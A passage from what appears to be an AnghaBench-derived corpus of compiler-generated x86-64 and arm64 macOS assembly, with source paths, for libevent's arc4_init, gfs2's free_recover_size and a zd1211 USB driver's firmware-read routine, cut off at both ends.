movdqa %xmm0, %xmm3 paddd %xmm10, %xmm3 movdqu %xmm2, 32(%rcx,%rdx,4) movdqu %xmm3, 48(%rcx,%rdx,4) movdqa %xmm0, %xmm2 paddd %xmm4, %xmm2 movdqa %xmm0, %xmm3 paddd %xmm5, %xmm3 movdqu %xmm2, 64(%rcx,%rdx,4) movdqu %xmm3, 80(%rcx,%rdx,4) movdqa %xmm0, %xmm2 paddd %xmm6, %xmm2 movdqa %xmm0, %xmm3 paddd %xmm7, %xmm3 movdqu %xmm2, 96(%rcx,%rdx,4) movdqu %xmm3, 112(%rcx,%rdx,4) addq $32, %rdx paddd %xmm1, %xmm0 cmpq $256, %rdx ## imm = 0x100 jne LBB0_1 ## %bb.2: pxor %xmm0, %xmm0 movdqu %xmm0, 8(%rax) popq %rbp retq .cfi_endproc ## -- End function .comm _rs,24,3 ## @rs .no_dead_strip _arc4_init .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal16,16byte_literals .p2align 4 ; -- Begin function arc4_init lCPI0_0: .long 0 ; 0x0 .long 1 ; 0x1 .long 2 ; 0x2 .long 3 ; 0x3 lCPI0_1: .long 4 ; 0x4 .long 5 ; 0x5 .long 6 ; 0x6 .long 7 ; 0x7 lCPI0_2: .long 8 ; 0x8 .long 9 ; 0x9 .long 10 ; 0xa .long 11 ; 0xb lCPI0_3: .long 12 ; 0xc .long 13 ; 0xd .long 14 ; 0xe .long 15 ; 0xf lCPI0_4: .long 16 ; 0x10 .long 17 ; 0x11 .long 18 ; 0x12 .long 19 ; 0x13 lCPI0_5: .long 20 ; 0x14 .long 21 ; 0x15 .long 22 ; 0x16 .long 23 ; 0x17 lCPI0_6: .long 24 ; 0x18 .long 25 ; 0x19 .long 26 ; 0x1a .long 27 ; 0x1b lCPI0_7: .long 28 ; 0x1c .long 29 ; 0x1d .long 30 ; 0x1e .long 31 ; 0x1f lCPI0_8: .long 32 ; 0x20 .long 33 ; 0x21 .long 34 ; 0x22 .long 35 ; 0x23 lCPI0_9: .long 36 ; 0x24 .long 37 ; 0x25 .long 38 ; 0x26 .long 39 ; 0x27 lCPI0_10: .long 40 ; 0x28 .long 41 ; 0x29 .long 42 ; 0x2a .long 43 ; 0x2b lCPI0_11: .long 44 ; 0x2c .long 45 ; 0x2d .long 46 ; 0x2e .long 47 ; 0x2f lCPI0_12: .long 48 ; 0x30 .long 49 ; 0x31 .long 50 ; 0x32 .long 51 ; 0x33 lCPI0_13: .long 52 ; 0x34 .long 53 ; 0x35 .long 54 ; 0x36 .long 55 ; 0x37 lCPI0_14: .long 56 ; 0x38 .long 57 ; 0x39 .long 58 ; 0x3a .long 59 ; 0x3b lCPI0_15: .long 60 ; 0x3c .long 61 ; 0x3d .long 62 ; 0x3e .long 63 ; 0x3f lCPI0_16: .long 64 ; 0x40 .long 65 ; 0x41 .long 66 ; 0x42 .long 67 ; 0x43 lCPI0_17: .long 68 ; 0x44 .long 69 ; 0x45 .long 70 ; 0x46 .long 71 ; 0x47 lCPI0_18: .long 72 ; 0x48 .long 73 ; 0x49 .long 74 ; 0x4a .long 75 ; 0x4b lCPI0_19: .long 76 ; 0x4c .long 77 ; 0x4d .long 78 ; 0x4e .long 79 ; 0x4f lCPI0_20: .long 80 ; 0x50 .long 81 ; 0x51 .long 82 ; 0x52 .long 83 ; 0x53 lCPI0_21: .long 84 ; 0x54 .long 85 ; 0x55 .long 86 ; 0x56 .long 87 ; 0x57 lCPI0_22: .long 88 ; 0x58 .long 89 ; 0x59 .long 90 ; 0x5a .long 91 ; 0x5b lCPI0_23: .long 92 ; 0x5c .long 93 ; 0x5d .long 94 ; 0x5e .long 95 ; 0x5f lCPI0_24: .long 96 ; 0x60 .long 97 ; 0x61 .long 98 ; 0x62 .long 99 ; 0x63 lCPI0_25: .long 100 ; 0x64 .long 101 ; 0x65 .long 102 ; 0x66 .long 103 ; 0x67 lCPI0_26: .long 104 ; 0x68 .long 105 ; 0x69 .long 106 ; 0x6a .long 107 ; 0x6b lCPI0_27: .long 108 ; 0x6c .long 109 ; 0x6d .long 110 ; 0x6e .long 111 ; 0x6f lCPI0_28: .long 112 ; 0x70 .long 113 ; 0x71 .long 114 ; 0x72 .long 115 ; 0x73 lCPI0_29: .long 116 ; 0x74 .long 117 ; 0x75 .long 118 ; 0x76 .long 119 ; 0x77 lCPI0_30: .long 120 ; 0x78 .long 121 ; 0x79 .long 122 ; 0x7a .long 123 ; 0x7b lCPI0_31: .long 124 ; 0x7c .long 125 ; 0x7d .long 126 ; 0x7e .long 127 ; 0x7f lCPI0_32: .long 128 ; 0x80 .long 129 ; 0x81 .long 130 ; 0x82 .long 131 ; 0x83 lCPI0_33: .long 132 ; 0x84 .long 133 ; 0x85 .long 134 ; 0x86 .long 135 ; 0x87 lCPI0_34: .long 136 ; 0x88 .long 137 ; 0x89 .long 138 ; 0x8a .long 139 ; 0x8b lCPI0_35: .long 140 ; 0x8c .long 141 ; 0x8d .long 142 ; 0x8e .long 143 ; 0x8f lCPI0_36: .long 144 ; 0x90 .long 145 ; 0x91 .long 146 ; 0x92 .long 147 ; 0x93 lCPI0_37: .long 148 ; 0x94 .long 149 ; 0x95 .long 150 ; 0x96 .long 151 ; 0x97 lCPI0_38: .long 152 ; 0x98 .long 153 ; 0x99 .long 154 ; 0x9a .long 155 ; 0x9b lCPI0_39: .long 156 ; 0x9c .long 157 ; 0x9d .long 158 ; 0x9e .long 159 ; 0x9f lCPI0_40: .long 160 ; 0xa0 .long 161 ; 0xa1 .long 162 ; 0xa2 .long 163 ; 0xa3 lCPI0_41: .long 164 ; 0xa4 .long 165 ; 0xa5 .long 166 ; 0xa6 .long 167 ; 0xa7 lCPI0_42: .long 168 ; 0xa8 .long 169 ; 0xa9 .long 170 ; 0xaa .long 171 ; 0xab lCPI0_43: .long 172 ; 0xac .long 173 ; 0xad .long 174 ; 0xae .long 175 ; 0xaf lCPI0_44: .long 176 ; 0xb0 .long 177 ; 0xb1 .long 178 ; 0xb2 .long 179 ; 0xb3 lCPI0_45: .long 180 ; 0xb4 .long 181 ; 0xb5 .long 182 ; 0xb6 .long 183 ; 0xb7 lCPI0_46: .long 184 ; 0xb8 .long 185 ; 0xb9 .long 186 ; 0xba .long 187 ; 0xbb lCPI0_47: .long 188 ; 0xbc .long 189 ; 0xbd .long 190 ; 0xbe .long 191 ; 0xbf lCPI0_48: .long 192 ; 0xc0 .long 193 ; 0xc1 .long 194 ; 0xc2 .long 195 ; 0xc3 lCPI0_49: .long 196 ; 0xc4 .long 197 ; 0xc5 .long 198 ; 0xc6 .long 199 ; 0xc7 lCPI0_50: .long 200 ; 0xc8 .long 201 ; 0xc9 .long 202 ; 0xca .long 203 ; 0xcb lCPI0_51: .long 204 ; 0xcc .long 205 ; 0xcd .long 206 ; 0xce .long 207 ; 0xcf lCPI0_52: .long 208 ; 0xd0 .long 209 ; 0xd1 .long 210 ; 0xd2 .long 211 ; 0xd3 lCPI0_53: .long 212 ; 0xd4 .long 213 ; 0xd5 .long 214 ; 0xd6 .long 215 ; 0xd7 lCPI0_54: .long 216 ; 0xd8 .long 217 ; 0xd9 .long 218 ; 0xda .long 219 ; 0xdb lCPI0_55: .long 220 ; 0xdc .long 221 ; 0xdd .long 222 ; 0xde .long 223 ; 0xdf lCPI0_56: .long 224 ; 0xe0 .long 225 ; 0xe1 .long 226 ; 0xe2 .long 227 ; 0xe3 lCPI0_57: .long 228 ; 0xe4 .long 229 ; 0xe5 .long 230 ; 0xe6 .long 231 ; 0xe7 lCPI0_58: .long 232 ; 0xe8 .long 233 ; 0xe9 .long 234 ; 0xea .long 235 ; 0xeb lCPI0_59: .long 236 ; 0xec .long 237 ; 0xed .long 238 ; 0xee .long 239 ; 0xef lCPI0_60: .long 240 ; 0xf0 .long 241 ; 0xf1 .long 242 ; 0xf2 .long 243 ; 0xf3 lCPI0_61: .long 244 ; 0xf4 .long 245 ; 0xf5 .long 246 ; 0xf6 .long 247 ; 0xf7 lCPI0_62: .long 248 ; 0xf8 .long 249 ; 0xf9 .long 250 ; 0xfa .long 251 ; 0xfb lCPI0_63: .long 252 ; 0xfc .long 253 ; 0xfd .long 254 ; 0xfe .long 255 ; 0xff .section __TEXT,__text,regular,pure_instructions .p2align 2 _arc4_init: ; @arc4_init .cfi_startproc ; %bb.0: Lloh0: adrp x8, _rs@GOTPAGE Lloh1: ldr x8, [x8, _rs@GOTPAGEOFF] ldr x9, [x8] Lloh2: adrp x10, lCPI0_0@PAGE Lloh3: ldr q0, [x10, lCPI0_0@PAGEOFF] Lloh4: adrp x10, lCPI0_1@PAGE Lloh5: ldr q1, [x10, lCPI0_1@PAGEOFF] stp q0, q1, [x9] Lloh6: adrp x10, lCPI0_2@PAGE Lloh7: ldr q0, [x10, lCPI0_2@PAGEOFF] Lloh8: adrp x10, lCPI0_3@PAGE Lloh9: ldr q1, [x10, lCPI0_3@PAGEOFF] stp q0, q1, [x9, #32] Lloh10: adrp x10, lCPI0_4@PAGE Lloh11: ldr q0, [x10, lCPI0_4@PAGEOFF] Lloh12: adrp x10, lCPI0_5@PAGE Lloh13: ldr q1, [x10, lCPI0_5@PAGEOFF] stp q0, q1, [x9, #64] Lloh14: adrp x10, lCPI0_6@PAGE Lloh15: ldr q0, [x10, lCPI0_6@PAGEOFF] Lloh16: adrp x10, lCPI0_7@PAGE Lloh17: ldr q1, [x10, lCPI0_7@PAGEOFF] stp q0, q1, [x9, #96] Lloh18: adrp x10, lCPI0_8@PAGE Lloh19: ldr q0, [x10, lCPI0_8@PAGEOFF] Lloh20: adrp x10, lCPI0_9@PAGE Lloh21: ldr q1, [x10, lCPI0_9@PAGEOFF] stp q0, q1, [x9, #128] Lloh22: adrp x10, lCPI0_10@PAGE Lloh23: ldr q0, [x10, lCPI0_10@PAGEOFF] Lloh24: adrp x10, lCPI0_11@PAGE Lloh25: ldr q1, [x10, lCPI0_11@PAGEOFF] stp q0, q1, [x9, #160] Lloh26: adrp x10, lCPI0_12@PAGE Lloh27: ldr q0, [x10, lCPI0_12@PAGEOFF] Lloh28: adrp x10, lCPI0_13@PAGE Lloh29: ldr q1, [x10, lCPI0_13@PAGEOFF] stp q0, q1, [x9, #192] Lloh30: adrp x10, lCPI0_14@PAGE Lloh31: ldr q0, [x10, lCPI0_14@PAGEOFF] Lloh32: adrp x10, lCPI0_15@PAGE Lloh33: ldr q1, [x10, lCPI0_15@PAGEOFF] stp q0, q1, [x9, #224] Lloh34: adrp x10, lCPI0_16@PAGE Lloh35: ldr q0, [x10, lCPI0_16@PAGEOFF] Lloh36: adrp x10, lCPI0_17@PAGE Lloh37: ldr q1, [x10, lCPI0_17@PAGEOFF] stp q0, q1, [x9, #256] Lloh38: adrp x10, lCPI0_18@PAGE Lloh39: ldr q0, [x10, lCPI0_18@PAGEOFF] Lloh40: adrp x10, lCPI0_19@PAGE Lloh41: ldr q1, [x10, lCPI0_19@PAGEOFF] stp q0, q1, [x9, #288] Lloh42: adrp x10, lCPI0_20@PAGE Lloh43: ldr q0, [x10, lCPI0_20@PAGEOFF] Lloh44: adrp x10, lCPI0_21@PAGE Lloh45: ldr q1, [x10, lCPI0_21@PAGEOFF] stp q0, q1, [x9, #320] Lloh46: adrp x10, lCPI0_22@PAGE Lloh47: ldr q0, [x10, lCPI0_22@PAGEOFF] Lloh48: adrp x10, lCPI0_23@PAGE Lloh49: ldr q1, [x10, lCPI0_23@PAGEOFF] stp q0, q1, [x9, #352] Lloh50: adrp x10, lCPI0_24@PAGE Lloh51: ldr q0, [x10, lCPI0_24@PAGEOFF] Lloh52: adrp x10, lCPI0_25@PAGE Lloh53: ldr q1, [x10, lCPI0_25@PAGEOFF] stp q0, q1, [x9, #384] Lloh54: adrp x10, lCPI0_26@PAGE Lloh55: ldr q0, [x10, lCPI0_26@PAGEOFF] Lloh56: adrp x10, lCPI0_27@PAGE Lloh57: ldr q1, [x10, lCPI0_27@PAGEOFF] stp q0, q1, [x9, #416] Lloh58: adrp x10, lCPI0_28@PAGE Lloh59: ldr q0, [x10, lCPI0_28@PAGEOFF] Lloh60: adrp x10, lCPI0_29@PAGE Lloh61: ldr q1, [x10, lCPI0_29@PAGEOFF] stp q0, q1, [x9, #448] Lloh62: adrp x10, lCPI0_30@PAGE Lloh63: ldr q0, [x10, lCPI0_30@PAGEOFF] Lloh64: adrp x10, lCPI0_31@PAGE Lloh65: ldr q1, [x10, lCPI0_31@PAGEOFF] stp q0, q1, [x9, #480] Lloh66: adrp x10, lCPI0_32@PAGE Lloh67: ldr q0, [x10, lCPI0_32@PAGEOFF] Lloh68: adrp x10, lCPI0_33@PAGE Lloh69: ldr q1, [x10, lCPI0_33@PAGEOFF] stp q0, q1, [x9, #512] Lloh70: adrp x10, lCPI0_34@PAGE Lloh71: ldr q0, [x10, lCPI0_34@PAGEOFF] Lloh72: adrp x10, lCPI0_35@PAGE Lloh73: ldr q1, [x10, lCPI0_35@PAGEOFF] stp q0, q1, [x9, #544] Lloh74: adrp x10, lCPI0_36@PAGE Lloh75: ldr q0, [x10, lCPI0_36@PAGEOFF] Lloh76: adrp x10, lCPI0_37@PAGE Lloh77: ldr q1, [x10, lCPI0_37@PAGEOFF] stp q0, q1, [x9, #576] Lloh78: adrp x10, lCPI0_38@PAGE Lloh79: ldr q0, [x10, lCPI0_38@PAGEOFF] Lloh80: adrp x10, lCPI0_39@PAGE Lloh81: ldr q1, [x10, lCPI0_39@PAGEOFF] stp q0, q1, [x9, #608] Lloh82: adrp x10, lCPI0_40@PAGE Lloh83: ldr q0, [x10, lCPI0_40@PAGEOFF] Lloh84: adrp x10, lCPI0_41@PAGE Lloh85: ldr q1, [x10, lCPI0_41@PAGEOFF] stp q0, q1, [x9, #640] Lloh86: adrp x10, lCPI0_42@PAGE Lloh87: ldr q0, [x10, lCPI0_42@PAGEOFF] Lloh88: adrp x10, lCPI0_43@PAGE Lloh89: ldr q1, [x10, lCPI0_43@PAGEOFF] stp q0, q1, [x9, #672] Lloh90: adrp x10, lCPI0_44@PAGE Lloh91: ldr q0, [x10, lCPI0_44@PAGEOFF] Lloh92: adrp x10, lCPI0_45@PAGE Lloh93: ldr q1, [x10, lCPI0_45@PAGEOFF] stp q0, q1, [x9, #704] Lloh94: adrp x10, lCPI0_46@PAGE Lloh95: ldr q0, [x10, lCPI0_46@PAGEOFF] Lloh96: adrp x10, lCPI0_47@PAGE Lloh97: ldr q1, [x10, lCPI0_47@PAGEOFF] stp q0, q1, [x9, #736] Lloh98: adrp x10, lCPI0_48@PAGE Lloh99: ldr q0, [x10, lCPI0_48@PAGEOFF] Lloh100: adrp x10, lCPI0_49@PAGE Lloh101: ldr q1, [x10, lCPI0_49@PAGEOFF] stp q0, q1, [x9, #768] Lloh102: adrp x10, lCPI0_50@PAGE Lloh103: ldr q0, [x10, lCPI0_50@PAGEOFF] Lloh104: adrp x10, lCPI0_51@PAGE Lloh105: ldr q1, [x10, lCPI0_51@PAGEOFF] stp q0, q1, [x9, #800] Lloh106: adrp x10, lCPI0_52@PAGE Lloh107: ldr q0, [x10, lCPI0_52@PAGEOFF] Lloh108: adrp x10, lCPI0_53@PAGE Lloh109: ldr q1, [x10, lCPI0_53@PAGEOFF] stp q0, q1, [x9, #832] Lloh110: adrp x10, lCPI0_54@PAGE Lloh111: ldr q0, [x10, lCPI0_54@PAGEOFF] Lloh112: adrp x10, lCPI0_55@PAGE Lloh113: ldr q1, [x10, lCPI0_55@PAGEOFF] stp q0, q1, [x9, #864] Lloh114: adrp x10, lCPI0_56@PAGE Lloh115: ldr q0, [x10, lCPI0_56@PAGEOFF] Lloh116: adrp x10, lCPI0_57@PAGE Lloh117: ldr q1, [x10, lCPI0_57@PAGEOFF] stp q0, q1, [x9, #896] Lloh118: adrp x10, lCPI0_58@PAGE Lloh119: ldr q0, [x10, lCPI0_58@PAGEOFF] Lloh120: adrp x10, lCPI0_59@PAGE Lloh121: ldr q1, [x10, lCPI0_59@PAGEOFF] stp q0, q1, [x9, #928] Lloh122: adrp x10, lCPI0_60@PAGE Lloh123: ldr q0, [x10, lCPI0_60@PAGEOFF] Lloh124: adrp x10, lCPI0_61@PAGE Lloh125: ldr q1, [x10, lCPI0_61@PAGEOFF] stp q0, q1, [x9, #960] Lloh126: adrp x10, lCPI0_62@PAGE Lloh127: ldr q0, [x10, lCPI0_62@PAGEOFF] Lloh128: adrp x10, lCPI0_63@PAGE Lloh129: ldr q1, [x10, lCPI0_63@PAGEOFF] stp q0, q1, [x9, #992] stp xzr, xzr, [x8, #8] ret .loh AdrpLdr Lloh128, Lloh129 .loh AdrpAdrp Lloh126, Lloh128 .loh AdrpLdr Lloh126, Lloh127 .loh AdrpAdrp Lloh124, Lloh126 .loh AdrpLdr Lloh124, Lloh125 .loh AdrpAdrp Lloh122, Lloh124 .loh AdrpLdr Lloh122, Lloh123 .loh AdrpAdrp Lloh120, Lloh122 .loh AdrpLdr Lloh120, Lloh121 .loh AdrpAdrp Lloh118, Lloh120 .loh AdrpLdr Lloh118, Lloh119 .loh AdrpAdrp Lloh116, Lloh118 .loh AdrpLdr Lloh116, Lloh117 .loh AdrpAdrp Lloh114, Lloh116 .loh AdrpLdr Lloh114, Lloh115 .loh AdrpAdrp Lloh112, Lloh114 .loh AdrpLdr Lloh112, Lloh113 .loh AdrpAdrp Lloh110, Lloh112 .loh AdrpLdr Lloh110, Lloh111 .loh AdrpAdrp Lloh108, Lloh110 .loh AdrpLdr Lloh108, Lloh109 .loh AdrpAdrp Lloh106, Lloh108 .loh AdrpLdr Lloh106, Lloh107 .loh AdrpAdrp Lloh104, Lloh106 .loh AdrpLdr Lloh104, Lloh105 .loh AdrpAdrp Lloh102, Lloh104 .loh AdrpLdr Lloh102, Lloh103 .loh AdrpAdrp Lloh100, Lloh102 .loh AdrpLdr Lloh100, Lloh101 .loh AdrpAdrp Lloh98, Lloh100 .loh AdrpLdr Lloh98, Lloh99 .loh AdrpAdrp Lloh96, Lloh98 .loh AdrpLdr Lloh96, Lloh97 .loh AdrpAdrp Lloh94, Lloh96 .loh AdrpLdr Lloh94, Lloh95 .loh AdrpAdrp Lloh92, Lloh94 .loh AdrpLdr Lloh92, Lloh93 .loh AdrpAdrp Lloh90, Lloh92 .loh AdrpLdr Lloh90, Lloh91 .loh AdrpAdrp Lloh88, Lloh90 .loh AdrpLdr Lloh88, Lloh89 .loh AdrpAdrp Lloh86, Lloh88 .loh AdrpLdr Lloh86, Lloh87 .loh AdrpAdrp Lloh84, Lloh86 .loh AdrpLdr Lloh84, Lloh85 .loh AdrpAdrp Lloh82, Lloh84 .loh AdrpLdr Lloh82, Lloh83 .loh AdrpAdrp Lloh80, Lloh82 .loh AdrpLdr Lloh80, Lloh81 .loh AdrpAdrp Lloh78, Lloh80 .loh AdrpLdr Lloh78, Lloh79 .loh AdrpAdrp Lloh76, Lloh78 .loh AdrpLdr Lloh76, Lloh77 .loh AdrpAdrp Lloh74, Lloh76 .loh AdrpLdr Lloh74, Lloh75 .loh AdrpAdrp Lloh72, Lloh74 .loh AdrpLdr Lloh72, Lloh73 .loh AdrpAdrp Lloh70, Lloh72 .loh AdrpLdr Lloh70, Lloh71 .loh AdrpAdrp Lloh68, Lloh70 .loh AdrpLdr Lloh68, Lloh69 .loh AdrpAdrp Lloh66, Lloh68 .loh AdrpLdr Lloh66, Lloh67 .loh AdrpAdrp Lloh64, Lloh66 .loh AdrpLdr Lloh64, Lloh65 .loh AdrpAdrp Lloh62, Lloh64 .loh AdrpLdr Lloh62, Lloh63 .loh AdrpAdrp Lloh60, Lloh62 .loh AdrpLdr Lloh60, Lloh61 .loh AdrpAdrp Lloh58, Lloh60 .loh AdrpLdr Lloh58, Lloh59 .loh AdrpAdrp Lloh56, Lloh58 .loh AdrpLdr Lloh56, Lloh57 .loh AdrpAdrp Lloh54, Lloh56 .loh AdrpLdr Lloh54, Lloh55 .loh AdrpAdrp Lloh52, Lloh54 .loh AdrpLdr Lloh52, Lloh53 .loh AdrpAdrp Lloh50, Lloh52 .loh AdrpLdr Lloh50, Lloh51 .loh AdrpAdrp Lloh48, Lloh50 .loh AdrpLdr Lloh48, Lloh49 .loh AdrpAdrp Lloh46, Lloh48 .loh AdrpLdr Lloh46, Lloh47 .loh AdrpAdrp Lloh44, Lloh46 .loh AdrpLdr Lloh44, Lloh45 .loh AdrpAdrp Lloh42, Lloh44 .loh AdrpLdr Lloh42, Lloh43 .loh AdrpAdrp Lloh40, Lloh42 .loh AdrpLdr Lloh40, Lloh41 .loh AdrpAdrp Lloh38, Lloh40 .loh AdrpLdr Lloh38, Lloh39 .loh AdrpAdrp Lloh36, Lloh38 .loh AdrpLdr Lloh36, Lloh37 .loh AdrpAdrp Lloh34, Lloh36 .loh AdrpLdr Lloh34, Lloh35 .loh AdrpAdrp Lloh32, Lloh34 .loh AdrpLdr Lloh32, Lloh33 .loh AdrpAdrp Lloh30, Lloh32 .loh AdrpLdr Lloh30, Lloh31 .loh AdrpAdrp Lloh28, Lloh30 .loh AdrpLdr Lloh28, Lloh29 .loh AdrpAdrp Lloh26, Lloh28 .loh AdrpLdr Lloh26, Lloh27 .loh AdrpAdrp Lloh24, Lloh26 .loh AdrpLdr Lloh24, Lloh25 .loh AdrpAdrp Lloh22, Lloh24 .loh AdrpLdr Lloh22, Lloh23 .loh AdrpAdrp Lloh20, Lloh22 .loh AdrpLdr Lloh20, Lloh21 .loh AdrpAdrp Lloh18, Lloh20 .loh AdrpLdr Lloh18, Lloh19 .loh AdrpAdrp Lloh16, Lloh18 .loh AdrpLdr Lloh16, Lloh17 .loh AdrpAdrp Lloh14, Lloh16 .loh AdrpLdr Lloh14, Lloh15 .loh AdrpAdrp Lloh12, Lloh14 .loh AdrpLdr Lloh12, Lloh13 .loh AdrpAdrp Lloh10, Lloh12 .loh AdrpLdr Lloh10, Lloh11 .loh AdrpAdrp Lloh8, Lloh10 .loh AdrpLdr Lloh8, Lloh9 .loh AdrpAdrp Lloh6, Lloh8 .loh AdrpLdr Lloh6, Lloh7 .loh AdrpAdrp Lloh4, Lloh6 .loh AdrpLdr Lloh4, Lloh5 .loh AdrpAdrp Lloh2, Lloh4 .loh AdrpLdr Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _rs,24,3 ; @rs .no_dead_strip _arc4_init .subsections_via_symbols

AnghaBench/freebsd/contrib/ntp/sntp/libevent/extr_.arc4random.c_arc4_init.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function free_recover_size _free_recover_size: ## @free_recover_size .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq %rdi, %rbx movq (%rdi), %rdi callq _kfree movq 24(%rbx), %rdi callq _kfree movq 16(%rbx), %rdi callq _kfree xorps %xmm0, %xmm0 movups %xmm0, (%rbx) movups %xmm0, 16(%rbx) addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _free_recover_size .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function free_recover_size _free_recover_size: ; @free_recover_size .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 ldr x0, [x0] bl _kfree ldr x0, [x19, #24] bl _kfree ldr x0, [x19, #16] bl _kfree movi.2d v0, #0000000000000000 stp q0, q0, [x19] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .no_dead_strip _free_recover_size .subsections_via_symbols

AnghaBench/linux/fs/gfs2/extr_lock_dlm.c_free_recover_size.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _zd_usb_read_fw ## -- Begin function zd_usb_read_fw .p2align 4, 0x90 _zd_usb_read_fw: ## @zd_usb_read_fw .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %ecx, %r13d movq %rdx, %r12 movl %esi, %ebx callq _zd_usb_to_usbdev movq %rax, %r15 movq _GFP_KERNEL@GOTPCREL(%rip), %rax movl (%rax), %esi movl %r13d, %edi callq _kmalloc testq %rax, %rax je LBB0_1 ## %bb.2: movq %rax, %r14 movq %r15, %rdi xorl %esi, %esi callq _usb_rcvctrlpipe movq _USB_REQ_FIRMWARE_READ_DATA@GOTPCREL(%rip), %rcx movl (%rcx), %edx movq _USB_DIR_IN@GOTPCREL(%rip), %rcx movl (%rcx), %ecx orl $64, %ecx subq $8, %rsp movq %r15, %rdi movl %eax, %esi movl %ebx, %r8d xorl %r9d, %r9d pushq $5000 ## imm = 0x1388 pushq %r13 pushq %r14 callq _usb_control_msg addq $32, %rsp movl %eax, %ebx testl %eax, %eax js LBB0_3 ## %bb.4: cmpl %r13d, %ebx jne LBB0_5 ## %bb.6: movq %r12, %rdi movq %r14, %rsi movl %r13d, %edx callq _memcpy xorl %ebx, %ebx jmp LBB0_7 LBB0_1: movq _ENOMEM@GOTPCREL(%rip), %rax xorl %ebx, %ebx subl (%rax), %ebx jmp LBB0_8 LBB0_3: leaq L_.str(%rip), %rsi movq %r15, %rdi movl %ebx, %edx xorl %eax, %eax callq _dev_err jmp LBB0_7 LBB0_5: leaq L_.str.1(%rip), %rsi xorl %r12d, %r12d movq %r15, %rdi movl %ebx, %edx movl %r13d, %ecx xorl %eax, %eax callq _dev_err movq _EIO@GOTPCREL(%rip), %rax subl (%rax), %r12d movl %r12d, %ebx LBB0_7: movq %r14, %rdi callq _kfree LBB0_8: movl %ebx, %eax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _GFP_KERNEL,4,2 ## @GFP_KERNEL .comm _ENOMEM,4,2 ## @ENOMEM .comm _USB_REQ_FIRMWARE_READ_DATA,4,2 ## @USB_REQ_FIRMWARE_READ_DATA .comm _USB_DIR_IN,4,2 ## @USB_DIR_IN .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "read over firmware interface failed: %d\n" L_.str.1: ## @.str.1 .asciz "incomplete read over firmware interface: %d/%d\n" .comm _EIO,4,2 ## @EIO .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _zd_usb_read_fw ; -- Begin function zd_usb_read_fw .p2align 2 _zd_usb_read_fw: ; @zd_usb_read_fw .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x20, x3 mov x22, x2 mov x23, x1 bl _zd_usb_to_usbdev mov x21, x0 Lloh0: adrp x8, _GFP_KERNEL@GOTPAGE Lloh1: ldr x8, [x8, _GFP_KERNEL@GOTPAGEOFF] Lloh2: ldr w1, [x8] mov x0, x20 bl _kmalloc cbz x0, LBB0_4 ; %bb.1: mov x19, x0 mov x0, x21 mov w1, #0 bl _usb_rcvctrlpipe mov x1, x0 Lloh3: adrp x8, _USB_REQ_FIRMWARE_READ_DATA@GOTPAGE Lloh4: ldr x8, [x8, _USB_REQ_FIRMWARE_READ_DATA@GOTPAGEOFF] Lloh5: ldr w2, [x8] Lloh6: adrp x8, _USB_DIR_IN@GOTPAGE Lloh7: ldr x8, [x8, _USB_DIR_IN@GOTPAGEOFF] Lloh8: ldr w8, [x8] orr w3, w8, #0x40 mov w8, #5000 str w8, [sp] mov x0, x21 mov x4, x23 mov w5, #0 mov x6, x19 mov x7, x20 bl _usb_control_msg mov x23, x0 tbnz w0, #31, LBB0_5 ; %bb.2: cmp w23, w20 b.ne LBB0_6 ; %bb.3: mov x0, x22 mov x1, x19 mov x2, x20 bl _memcpy mov w23, #0 b LBB0_7 LBB0_4: Lloh9: adrp x8, _ENOMEM@GOTPAGE Lloh10: ldr x8, [x8, _ENOMEM@GOTPAGEOFF] Lloh11: ldr w8, [x8] neg w23, w8 b LBB0_8 LBB0_5: Lloh12: adrp x1, l_.str@PAGE Lloh13: add x1, x1, l_.str@PAGEOFF mov x0, x21 mov x2, x23 bl _dev_err b LBB0_7 LBB0_6: str x20, [sp] Lloh14: adrp x1, l_.str.1@PAGE Lloh15: add x1, x1, l_.str.1@PAGEOFF mov x0, x21 mov x2, x23 bl _dev_err Lloh16: adrp x8, _EIO@GOTPAGE Lloh17: ldr x8, [x8, _EIO@GOTPAGEOFF] Lloh18: ldr w8, [x8] neg w23, w8 